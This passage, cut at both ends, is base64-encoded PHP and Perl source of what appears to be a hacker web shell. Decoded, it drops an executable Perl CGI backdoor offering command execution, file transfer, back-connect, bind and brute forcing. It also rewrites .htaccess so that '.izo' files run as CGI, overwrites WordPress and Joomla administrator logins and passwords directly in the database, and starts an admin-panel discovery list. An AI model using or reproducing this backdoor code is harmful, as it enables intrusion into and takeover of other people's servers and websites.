sYzNWc2RDQXVQVHc4UlU1RU93b0pDVHgwY2o0S0Nna0pDVHhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpUGdvSkNRazhkR1ErUEdsdWNIVjBJSFI1Y0dVOUluUmxlSFFpSUc5dWEyVjVkWEE5SW1SdlkzVnRaVzUwTG1kbGRFVnNaVzFsYm5SQ2VVbGtLQ2RzYjJkZkpHa25LUzUyWVd4MVpUMG5iR1Z6Y3lBbklDc2dkR2hwY3k1MllXeDFaVHNpSUhaaGJIVmxQU0lrYkc5bklpQnphWHBsUFNjMU1DY3ZQand2ZEdRK0Nna0pDVHgwWkQ0OGFXNXdkWFFnWTJ4aGMzTTlJbk4xWW0xcGRDSWdkSGx3WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpVkhKNUlpQXZQand2ZEdRK0Nna0pDVHhwYm5CMWRDQjBlWEJsUFNKb2FXUmtaVzRpSUdsa1BTSnNiMmRmSkdraUlHNWhiV1U5SW1NaUlIWmhiSFZsUFNKc1pYTnpJQ1JzYjJjaUx6NEtDUWtKUEdsdWNIVjBJSFI1Y0dVOUltaHBaR1JsYmlJZ2JtRnRaVDBpWVNJZ2RtRnNkV1U5SW1OdmJXMWhibVFpSUM4K0Nna0pDVHhwYm5CMWRDQjBlWEJsUFNKb2FXUmtaVzRpSUc1aGJXVTlJbVFpSUhaaGJIVmxQU0lrUTNWeWNtVnVkRVJwY2lJZ0x6NEtDUWtKUEM5bWIzSnRQZ29KQ1FrOGRHUStKSEJsY20xelBDOTBaRDRLQ2drSlBDOTBjajRLUlU1RUNna0pKR2tyS3pzS0NYMEtDU1J5WlhOMWJIUWdMajBpUEM5MFlXSnNaVDRpT3dvSmNtVjBkWEp1SUNSeVpYTjFiSFE3Q24wS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklFMWhhVzRnVUhKdlozSmhiU0F0SUVWNFpXTjFkR2x2YmlCVGRHRnlkSE1nU0dWeVpRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpWlNaV0ZrVUdGeWMyVTdDaVpIWlhSRGIyOXJhV1Z6T3dvS0pGTmpjbWx3ZEV4dlkyRjBhVzl1SUQwZ0pFVk9WbnNuVTBOU1NWQlVYMDVCVFVVbmZUc0tKRk5sY25abGNrNWhiV1VnUFNBa1JVNVdleWRUUlZKV1JWSmZUa0ZOUlNkOU93b2tURzluYVc1UVlYTnpkMjl5WkNBOUlDUnBibnNuY0NkOU93b2tVblZ1UTI5dGJXRnVaQ0E5SUNScGJuc25ZeWQ5T3dva1ZISmhibk5tWlhKR2FXeGxJRDBnSkdsdWV5ZG1KMzA3Q2lSUGNIUnBiMjV6SUQwZ0pHbHVleWR2SjMwN0NpUkJZM1JwYjI0Z1BTQWthVzU3SjJFbmZUc0tDaVJCWTNScGIyNGdQU0FpWTI5dGJXRnVaQ0lnYVdZb0pFRmpkR2x2YmlCbGNTQWlJaWs3SUNNZ2JtOGdZV04wYVc5dUlITndaV05wWm1sbFpDd2dkWE5sSUdSbFptRjFiSFFLQ2lNZ1oyVjBJSFJvWlNCa2FYSmxZM1J2Y25rZ2FXNGdkMmhwWTJnZ2RHaGxJR052YlcxaGJtUnpJSGRwYkd3Z1ltVWdaWGhsWTNWMFpXUUtKRU4xY25KbGJuUkVhWElnUFNBbWRISnBiU2drYVc1N0oyUW5mU2s3Q2lNZ2JXRmpJR1JwYm1nZ2VIVmhkQ0IwYUc5dVp5QjBhVzRnYm1WMUlHdHZJR052SUd4bGJtZ2dibUZ2SVFva1VuVnVRMjl0YldGdVpEMGdKRmRwYms1VVB5SmthWElpT2lKa2FYSWdMV3hwWVNJZ2FXWW9KRkoxYmtOdmJXMWhibVFnWlhFZ0lpSXBPd3BqYUc5d0tDUkRkWEp5Wlc1MFJHbHlJRDBnWUNSRGJXUlFkMlJnS1NCcFppZ2tRM1Z5Y21WdWRFUnBjaUJsY1NBaUlpazdDZ29rVEc5bloyVmtTVzRnUFNBa1EyOXZhMmxsYzNzblUwRldSVVJRVjBRbmZTQmxjU0FrVUdGemMzZHZjbVE3Q2dwcFppZ2tRV04wYVc5dUlHVnhJQ0pzYjJkcGJpSWdmSHdnSVNSTWIyZG5aV1JKYmlrZ0NRa2pJSFZ6WlhJZ2JtVmxaSE12YUdGeklIUnZJR3h2WjJsdUNuc0tDU1pRWlhKbWIzSnRURzluYVc0N0NuMWxiSE5wWmlna1FXTjBhVzl1SUdWeElDSm5kV2tpS1NBaklFZFZTU0JrYVhKbFkzUnZjbmtLZXdvSkpsQnlhVzUwVUdGblpVaGxZV1JsY2pzS0NXbG1LQ0VrVjJsdVRsUXBDZ2w3Q2drSkpHTm9iVzlrUFdsdWRDZ2thVzU3SjJOb2JXOWtKMzBwT3dvSkNXbG1LQ0VvSkdOb2JXOWtJR1Z4SURBcEtRb0pDWHNLQ1FrSkpHTm9iVzlrUFdsdWRDZ2thVzU3SjJOb2JXOWtKMzBwT3dvSkNRa2tabWxzWlQwa1EzVnljbVZ1ZEVScGNpNGtVR0YwYUZObGNDNGtWSEpoYm5ObVpYSkdhV3hsT3dvSkNRbGphRzl3S0NSeVpYTjFiSFE5SUdCamFHMXZaQ0FrWTJodGIyUWdJaVJtYVd4bEltQXBPd29KQ1FscFppZ21kSEpwYlNna2NtVnpkV3gwS1NCbGNTQWlJaWtLQ1FrSmV3b0pDUWtKY0hKcGJuUWdJanh5ZFc0K0lFUnZibVVoSUR3dmNuVnVQanhpY2o0aU93b0pDUWw5Wld4elpRb0pDUWw3Q2drSkNRbHdjbWx1ZENBaVBISjFiajRnVTI5eWNua2hJRmx2ZFNCa2IyNTBJR2hoZG1VZ2NHVnliV2x6YzJsdmJuTWhJRHd2Y25WdVBqeGljajRpT3dvSkNRbDlDZ2tKZlFvSmZRb0pKSEpsYm1GdFpUMGthVzU3SjNKbGJtRnRaU2Q5T3dvSmFXWW9JU1J5Wlc1aGJXVWdaWEVnSWlJcENnbDdDZ2tKYVdZb2NtVnVZVzFsS0NSVWNtRnVjMlpsY2tacGJHVXNKSEpsYm1GdFpTa3BDZ2tKZXdvSkNRbHdjbWx1ZENBaVBISjFiajRnUkc5dVpTRWdQQzl5ZFc0K1BHSnlQaUk3Q2drSmZXVnNjMlVLQ1FsN0Nna0pDWEJ5YVc1MElDSThjblZ1UGlCVGIzSnllU0VnV1c5MUlHUnZiblFnYUdGMlpTQndaWEp0YVhOemFXOXVjeUVnUEM5eWRXNCtQR0p5UGlJN0Nna0pmUW9KZlFvSkpISmxiVzkyWlQwa2FXNTdKM0psYlc5MlpTZDlPd29KYVdZb0pISmxiVzkyWlNCdVpTQWlJaWtLQ1hzS0NRa2tjbTBnUFNBa1EzVnljbVZ1ZEVScGNpNGtVR0YwYUZObGNDNGtjbVZ0YjNabE93b0pDV2xtS0Mxa0lDUnliU2tLQ1FsN0Nna0pDU1pTYlVScGNpZ2tjbTBwT3dvSkNYMWxiSE5sQ2drSmV3b0pDUWxwWmloMWJteHBibXNvSkhKdEtTa0tDUWtKZXdvSkNRa0pjSEpwYm5RZ0lqeHlkVzQrSUVSdmJtVWhJRHd2Y25WdVBqeGljajRpT3dvSkNRbDlaV3h6WlFvSkNRbDdDZ2tKQ1Fsd2NtbHVkQ0FpUEhKMWJqNGdVMjl5Y25raElGbHZkU0JrYjI1MElHaGhkbVVnY0dWeWJXbHpjMmx2Ym5NaElEd3ZjblZ1UGp4aWNqNGlPd29KQ1FsOUNRa0pDZ2tKZlFvSmZRb0pjSEpwYm5RZ0preHBjM1JFYVhJN0NncDlDbVZzYzJsbUtDUkJZM1JwYjI0Z1pYRWdJbU52YlcxaGJtUWlLUWtKQ1FrZ0NTTWdkWE5sY2lCM1lXNTBjeUIwYnlCeWRXNGdZU0JqYjIxdFlXNWtDbnNLQ1NaUWNtbHVkRkJoWjJWSVpXRmtaWElvSW1NaUtUc0tDWEJ5YVc1MElDWkZlR1ZqZFhSbFEyOXRiV0Z1WkRzS2ZRcGxiSE5wWmlna1FXTjBhVzl1SUdWeElDSnpZWFpsSWlrSkNRa0pJQWtqSUhWelpYSWdkMkZ1ZEhNZ2RHOGdjMkYyWlNCaElHWnBiR1VLZXdvSkpsQnlhVzUwVUdGblpVaGxZV1JsY2pzS0NXbG1LQ1pUWVhabFJtbHNaU2drYVc1N0oyUmhkR0VuZlN3a2FXNTdKMlpwYkdVbmZTa3BDZ2w3Q2drSmNISnBiblFnSWp4eWRXNCtJRVJ2Ym1VaElEd3ZjblZ1UGp4aWNqNGlPd29KZldWc2MyVUtDWHNLQ1Fsd2NtbHVkQ0FpUEhKMWJqNGdVMjl5Y25raElGbHZkU0JrYjI1MElHaGhkbVVnY0dWeWJXbHpjMmx2Ym5NaElEd3ZjblZ1UGp4aWNqNGlPd29KZlFvSmNISnBiblFnSmt4cGMzUkVhWEk3Q24wS1pXeHphV1lvSkVGamRHbHZiaUJsY1NBaWRYQnNiMkZrSWlrZ0NRa0pDUWtqSUhWelpYSWdkMkZ1ZEhNZ2RHOGdkWEJzYjJGa0lHRWdabWxzWlFwN0Nna21VSEpwYm5SUVlXZGxTR1ZoWkdWeU93b0tDWEJ5YVc1MElDWlZjR3h2WVdSR2FXeGxPd3A5Q21Wc2MybG1LQ1JCWTNScGIyNGdaWEVnSW1KaFkydGlhVzVrSWlrZ0NRa0pDU01nZFhObGNpQjNZVzUwY3lCMGJ5QmlZV05ySUdOdmJtNWxZM1FnYjNJZ1ltbHVaQ0J3YjNKMENuc0tDU1pRY21sdWRGQmhaMlZJWldGa1pYSW9JbU5zYVdWdWRIQnZjblFpS1RzS0NYQnlhVzUwSUNaQ1lXTnJRbWx1WkRzS2ZRcGxiSE5wWmlna1FXTjBhVzl1SUdWeElDSmljblYwWldadmNtTmxjaUlwSUFrSkNTTWdkWE5sY2lCM1lXNTBjeUIwYnlCaWNuVjBaU0JtYjNKalpRcDdDZ2ttVUhKcGJuUlFZV2RsU0dWaFpHVnlPd29KY0hKcGJuUWdKa0p5ZFhSbFJtOXlZMlZ5T3dwOVpXeHphV1lvSkVGamRHbHZiaUJsY1NBaVpHOTNibXh2WVdRaUtTQUpDUWtKSXlCMWMyVnlJSGRoYm5SeklIUnZJR1J2ZDI1c2IyRmtJR0VnWm1sc1pRcDdDZ2x3Y21sdWRDQW1SRzkzYm14dllXUkdhV3hsT3dwOVpXeHphV1lvSkVGamRHbHZiaUJsY1NBaVkyaGxZMnRzYjJjaUtTQUpDUWtKSXlCMWMyVnlJSGRoYm5SeklIUnZJSFpwWlhjZ2JHOW5JR1pwYkdVS2V3b0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNqc0tDWEJ5YVc1MElDWldhV1YzVEc5bk93b0tmV1ZzYzJsbUtDUkJZM1JwYjI0Z1pYRWdJbVJ2YldGcGJuTjFjMlZ5SWlrZ0NRa0pJeUIxYzJWeUlIZGhiblJ6SUhSdklIWnBaWGNnYkdsemRDQjFjMlZ5TDJSdmJXRnBiZ3A3Q2drbVVISnBiblJRWVdkbFNHVmhaR1Z5T3dvSmNISnBiblFnSmxacFpYZEViMjFoYVc1VmMyVnlPd3A5Wld4emFXWW9KRUZqZEdsdmJpQmxjU0FpYkc5bmIzVjBJaWtnQ1FrSkNTTWdkWE5sY2lCM1lXNTBjeUIwYnlCc2IyZHZkWFFLZXdvSkpsQmxjbVp2Y20xTWIyZHZkWFE3Q24wS0psQnlhVzUwVUdGblpVWnZiM1JsY2pzPSc7CgokZmlsZSA9IGZvcGVuKCJjZ2kyMDEyLml6byIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjZ2kyMDEyKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiY2dpMjAxMi5pem8iLDA3NTUpOwogICBlY2hvICIgPGlmcmFtZSBzcmM9Y2dpMjAxMi9jZ2kyMDEyLml6byB3aWR0aD05NiUgaGVpZ2h0PTc2JSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPgogCiA8L2Rpdj4iOyB9CiAKIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnY29uZmlnJykpCnsJCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1jb25maWciIG1ldGhvZD0icG9zdCI+Cgo8P3BocAoKZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jRkYwMDAwPi0tPT1bIENvbmZpZyBTaGVsbCBQcml2OCBTQ1IgXT09LS08L2ZvbnQ+PC9iPjxicj48YnI+IjsKCiAgbWtkaXIoJ2NvbmZpZycsIDA3NTUpOwogICAgY2hkaXIoJ2NvbmZpZycpOwogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOwogICAgICAgICRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsKICAgICAgICAkZG9zeWEgPSBmb3BlbiAoJGRvc3lhX2FkaSAsICd3Jykgb3IgZGllICgiRXJyb3IgY3V5eSEiKTsKICAgICAgICAkbWV0aW4gPSAiT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQoJCQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5jcGMKCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuaXpvCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuaXpvIjsgICAgCiAgICAgICAgZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOwogICAgICAgIGZjbG9zZSAoJGRvc3lhKTsKCiRmaWxlID0gZm9wZW4oImNvbmZpZy5pem8iICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY29uZmlnc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJjb25maWcuaXpvIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9Y29uZmlnL2NvbmZpZy5pem8gd2lkdGg9OTclIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+CiAgIDwvZGl2PiI7IAp9Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd3cC1yZXNldCcpKQp7CQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9d3AtcmVzZXQiIG1ldGhvZD0icG9zdCI+Cgo8P3BocAoKZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jRkYwMDAwPi0tPT1bICBXb3JkcHJlc3MgUmVzZXQgUGFzc3dvcmQgIF09PS0tPC9mb250PjwvYj48YnI+PGJyPiI7CiAgCiAgaWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpewogIAplY2hvICI8Rk9STSBtZXRob2Q9J1BPU1QnPgo8dGFibGUgY2xhc3M9J3RhYm5ldCcgc3R5bGU9J3dpZHRoOjMwMHB4Oyc+IDx0cj48dGggY29sc3Bhbj0nMic+Q29ubmVjdCB0byBteVNRTCBzZXJ2ZXI8L3RoPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7SG9zdG5hbWU8L3RkPjx0ZD4KPGlucHV0IHN0eWxlPSd3aWR0aDoyMjBweDsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2xvY2FsaG9zdCcgdmFsdWU9J2xvY2FsaG9zdCcgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7RGF0YWJhc2U8L3RkPjx0ZD4KPGlucHV0IHN0eWxlPSd3aWR0aDoyMjBweDsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2RhdGFiYXNlJyB2YWx1ZT0nd3AtJyAvPjwvdGQ+PC90cj4gPHRyPjx0ZD4mbmJzcDsmbmJzcDt1c2VybmFtZTwvdGQ+PHRkPgo8aW5wdXQgc3R5bGU9J3dpZHRoOjIyMHB4OycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcm5hbWUnIHZhbHVlPSd3cC0nIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO3Bhc3N3b3JkPC90ZD48dGQ+CjxpbnB1dCBzdHlsZT0nd2lkdGg6MjIwcHg7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzd29yZCcgdmFsdWU9JyoqJyAvPjwvdGQ+PC90cj4KPHRyPjx0ZD4mbmJzcDsmbmJzcDtVc2VyIGJhcnU8L3RkPjx0ZD4KPGlucHV0IHN0eWxlPSd3aWR0aDoyMjBweDsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2FkbWluJyB2YWx1ZT0nYWRtaW4nIC8+PC90ZD48L3RyPgogPHRyPjx0ZD4mbmJzcDsmbmJzcDtQYXNzIEJhcnU8L3RkPjx0ZD4KPGlucHV0IHN0eWxlPSd3aWR0aDo4MHB4OycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncHdkJyB2YWx1ZT0nMTIzNDU2JyAvPiZuYnNwOwoKPGlucHV0IHN0eWxlPSd3aWR0aDoxOSU7JyBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdjaGFuZ2UhJyBuYW1lPSdzZW5kJyAvPjwvRk9STT4KPC90ZD48L3RyPiA8L3RhYmxlPjxicj48YnI+PGJyPjxicj4KIjsKfWVsc2V7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOwokZGF0YWJhc2UgID0gJF9QT1NUWydkYXRhYmFzZSddOwokdXNlcm5hbWUgID0gJF9QT1NUWyd1c2VybmFtZSddOwokcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOwokcHdkICAgPSAkX1BPU1RbJ3B3ZCddOwokYWRtaW4gPSAkX1BPU1RbJ2FkbWluJ107CgoKIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwogQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKCiRoYXNoID0gY3J5cHQoJHB3ZCk7CiRhNHM9QG15c3FsX3F1ZXJ5KCJVUERBVEUgd3BfdXNlcnMgU0VUIHVzZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiRhNHM9QG15c3FsX3F1ZXJ5KCJVUERBVEUgd3BfdXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIuJGhhc2guIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokYTRzPUBteXNxbF9xdWVyeSgiVVBEQVRFIHdwX3VzZXJzIFNFVCB1c2VyX2xvZ2luID0nIi4kYWRtaW4uIicgV0hFUkUgSUQgPSAyIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokYTRzPUBteXNxbF9xdWVyeSgiVVBEQVRFIHdwX3VzZXJzIFNFVCB1c2VyX3Bhc3MgPSciLiRoYXNoLiInIFdIRVJFIElEID0gMiIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3cF91c2VycyBTRVQgdXNlcl9sb2dpbiA9JyIuJGFkbWluLiInIFdIRVJFIElEID0gMyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3cF91c2VycyBTRVQgdXNlcl9wYXNzID0nIi4kaGFzaC4iJyBXSEVSRSBJRCA9IDMiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiRhNHM9QG15c3FsX3F1ZXJ5KCJVUERBVEUgd3BfdXNlcnMgU0VUIHVzZXJfZW1haWwgPSciLiRTUUwuIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwoKCmlmKCRhNHMpewplY2hvICI8Yj4gU3VjY2VzcyEhIE5vdyBZb3UgQ2FuIExvZ2luIFRvIHdwLWFkbWluPC9iPiAiOwp9Cgp9CiAgCiAgCiAgZWNobyAiCiAgIDwvZGl2PiI7IH0KCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnam0tcmVzZXQnKSkKewkKPz4KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWptLXJlc2V0IiBtZXRob2Q9InBvc3QiPgoKPD9waHAKCmVjaG8gIjxjZW50ZXIvPjxici8+PGI+PGZvbnQgY29sb3I9I0ZGMDAwMD4tLT09WyAgSm9vbWxhIFJlc2V0IFBhc3N3b3JkIF09PS0tPC9mb250PjwvYj48YnI+PGJyPiI7CglpZihlbXB0eSgkX1BPU1RbJ3B3ZCddKSl7CmVjaG8gIjxGT1JNIG1ldGhvZD0nUE9TVCc+PHRhYmxlIGNsYXNzPSd0YWJuZXQnIHN0eWxlPSd3aWR0aDozMDBweDsnPiA8dHI+PHRoIGNvbHNwYW49JzInPkNvbm5lY3QgdG8gTXlTUUwgPC90aD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO0hvc3Q8L3RkPjx0ZD4KPGlucHV0IHN0eWxlPSd3aWR0aDoyNzBweDsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2xvY2FsaG9zdCcgdmFsdWU9J2xvY2FsaG9zdCcgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7RGF0YWJhc2U8L3RkPjx0ZD4KPGlucHV0IHN0eWxlPSd3aWR0aDoyNzBweDsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2RhdGFiYXNlJyB2YWx1ZT0nZGF0YWJhc2UnIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO3VzZXJuYW1lPC90ZD48dGQ+CjxpbnB1dCBzdHlsZT0nd2lkdGg6MjcwcHg7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VybmFtZScgdmFsdWU9J2RiX3VzZXInIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO3Bhc3N3b3JkPC90ZD48dGQ+CjxpbnB1dCBzdHlsZT0nd2lkdGg6MjcwcHg7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSdwYXNzd29yZCcgbmFtZT0ncGFzc3dvcmQnIHZhbHVlPScqKicgLz48L3RkPjwvdHI+Cjx0cj48dGQ+Jm5ic3A7Jm5ic3A7VXNlciBiYXJ1PC90ZD48dGQ+CjxpbnB1dCBzdHlsZT0nd2lkdGg6MjcwcHg7JyBjbGFzcz0naW5wdXR6JyBuYW1lPSdhZG1pbicgdmFsdWU9J2FkbWluJyAvPjwvdGQ+PC90cj4KIDx0cj48dGQ+Jm5ic3A7Jm5ic3A7cGFzcyBiYXJ1IDwvdGQ+PHRkPjEyMzQ1NiA9IAo8aW5wdXQgc3R5bGU9J3dpZHRoOjEzMHB4OycgY2xhc3M9J2lucHV0eicgbmFtZT0ncHdkJyB2YWx1ZT0nZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UnIC8+Jm5ic3A7Cgo8aW5wdXQgc3R5bGU9J3dpZHRoOjIzJTsnIGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2NoYW5nZSEnIG5hbWU9J3NlbmQnIC8+PC9GT1JNPgo8L3RkPjwvdHI+IDwvdGFibGU+PGJyPjxicj48YnI+PGJyPgoiOwp9ZWxzZXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107CiRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107CiR1c2VybmFtZSAgPSAkX1BPU1RbJ3VzZXJuYW1lJ107CiRwYXNzd29yZCAgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107CiRwd2QgICA9ICRfUE9TVFsncHdkJ107CiRhZG1pbiA9ICRfUE9TVFsnYWRtaW4nXTsKQG15c3FsX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CkBteXNxbF9zZWxlY3RfZGIoJGRhdGFiYXNlKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiRoYXNoID0gY3J5cHQoJHB3ZCk7CiRTUUw9QG15c3FsX3F1ZXJ5KCJVUERBVEUgam9zX3VzZXJzIFNFVCB1c2VybmFtZSA9JyIuJGFkbWluLiInIFdIRVJFIElEID0gNjIiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiRTUUw9QG15c3FsX3F1ZXJ5KCJVUERBVEUgam9zX3VzZXJzIFNFVCBwYXNzd29yZCA9JyIuJHB3ZC4iJyBXSEVSRSBJRCA9IDYyIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgdXNlcm5hbWUgPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDYzIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgcGFzc3dvcmQgPSciLiRwd2QuIicgV0hFUkUgSUQgPSA2MyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKJFNRTD1AbXlzcWxfcXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRtaW4uIicgV0hFUkUgSUQgPSA2NCIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKJFNRTD1AbXlzcWxfcXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIElEID0gNjQiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiRTUUw9QG15c3FsX3F1ZXJ5KCJVUERBVEUgam9zX3VzZXJzIFNFVCB1c2VybmFtZSA9JyIuJGFkbWluLiInIFdIRVJFIElEID0gNjUiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiRTUUw9QG15c3FsX3F1ZXJ5KCJVUERBVEUgam9zX3VzZXJzIFNFVCBwYXNzd29yZCA9JyIuJHB3ZC4iJyBXSEVSRSBJRCA9IDY1Iikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwppZigkU1FMKXsKZWNobyAiPGI+U3VjY2VzcyA6IE5ldyBQYXNzd29yZCA+Pj4gLSAoMTIzNDU2KSI7Cn0KfQoJCiAgZWNobyAiCiAgIDwvZGl2PiI7IAp9IAovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYWRmaW4nKSkKewkKPz4KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWFkZmluIiBtZXRob2Q9InBvc3QiPgoKPD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKJGxpc3RbJ2Zyb250J10gPSJhZG1pbgphZG0KYWRtaW5jcAphZG1jcApjcAptb2RjcAptb2RlcmF0b3JjcAphZG1pbmFyZQphZG1pbnMKY3BhbmVsCmNvbnRyb2xwYW5lbCI7CiRsaXN0WydlbmQnXSA9ICJhZG1pbjEucGhwCmFkbWluMS5odG1sCmFkbWluMi5waHAKYWRtaW4yLmh0bWwKeW9uZXRpbS5waHAKeW9uZXRpbS5odG1sCnlvbmV0aWNpLnBocAp5b25ldGljaS5odG1sCmNjbXMvCmNjbXMvbG9naW4ucGhwCmNjbXMvaW5kZXgucGhwCm1haW50ZW5hbmNlLwp3ZWJtYXN0ZXIvCmFkbS8KY29uZmlndXJhdGlvbi8KY29uZmlndXJlLwp3ZWJzdm4vCmFkbWluLwphZG1pbi9hY2NvdW50LnBocAphZG1pbi9hY2NvdW50Lm